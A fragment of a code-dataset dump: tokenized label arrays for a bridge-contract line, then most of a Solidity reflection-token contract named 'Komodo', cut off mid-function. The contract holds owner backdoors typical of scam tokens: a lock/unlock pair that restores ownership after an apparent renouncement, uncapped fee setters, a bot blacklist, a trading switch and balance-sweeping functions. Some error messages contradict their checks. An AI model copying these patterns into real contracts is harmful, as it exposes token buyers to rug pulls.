-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x9DA12017d0831681DeFE454034CA5868e93dB7b6/sources/packages/contracts-bridge/contracts/BridgeMessage.sol | 1 byte identifier + 32 bytes hook address + 32 bytes amount + 32 bytes detailsHash + 32 bytes sender + X bytes extraData
| uint256 private constant MIN_TRANSFER_HOOK_LEN = 129; | 2,645,374 | [
1,
21,
1160,
2756,
397,
3847,
1731,
3953,
1758,
397,
3847,
1731,
3844,
397,
3847,
1731,
3189,
2310,
397,
3847,
1731,
5793,
397,
1139,
1731,
2870,
751,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2254,
5034,
3238,
5381,
6989,
67,
16596,
6553,
67,
7995,
3141,
67,
13017,
273,
2593,
29,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
Komodo
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
//function _msgSender() internal view virtual returns (address payable) {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IAirdrop {
function airdrop(address recipient, uint256 amount) external;
}
contract Komodo is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => bool) private botWallets;
bool botscantrade = false;
bool public canTrade = false;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address public marketingWallet;
string private _name = "Komodo";
string private _symbol = "KOMODO";
uint8 private _decimals = 9;
uint256 public _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 public marketingFeePercent = 10;
uint256 public _liquidityFee = 2;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9;
uint256 public numTokensSellToAddToLiquidity = 100000 * 10**9;
uint256 public _maxWalletSize = 200000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function airdrop(address recipient, uint256 amount) external onlyOwner() {
removeAllFee();
_transfer(_msgSender(), recipient, amount * 10**9);
restoreAllFee();
}
function airdropInternal(address recipient, uint256 amount) internal {
removeAllFee();
_transfer(_msgSender(), recipient, amount);
restoreAllFee();
}
function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){
uint256 iterator = 0;
require(newholders.length == amounts.length, "must be the same length");
while(iterator < newholders.length){
airdropInternal(newholders[iterator], amounts[iterator] * 10**9);
iterator += 1;
}
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setMarketingFeePercent(uint256 fee) public onlyOwner {
marketingFeePercent = fee;
}
function setMarketingWallet(address walletAddress) public onlyOwner {
marketingWallet = walletAddress;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee < 10, "Tax fee cannot be more than 10%");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function _setMaxWalletSizePercent(uint256 maxWalletSize)
external
onlyOwner
{
_maxWalletSize = _tTotal.mul(maxWalletSize).div(10**3);
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount > 200000, "Max Tx Amount cannot be less than 69 Million");
_maxTxAmount = maxTxAmount * 10**9;
}
function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() {
require(SwapThresholdAmount > 200000, "Swap Threshold Amount cannot be less than 69 Million");
numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9;
}
function claimTokens () public onlyOwner {
// make sure we capture all BNB that may or may not be sent to this contract
payable(marketingWallet).transfer(address(this).balance);
}
function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() {
tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this)));
}
function clearStuckBalance (address payable walletaddress) external onlyOwner() {
walletaddress.transfer(address(this).balance);
}
function addBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = true;
}
function removeBotWallet(address botwallet) external onlyOwner() {
botWallets[botwallet] = false;
}
function getBotWalletStatus(address botwallet) public view returns (bool) {
return botWallets[botwallet];
}
function allowtrading()external onlyOwner() {
canTrade = true;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
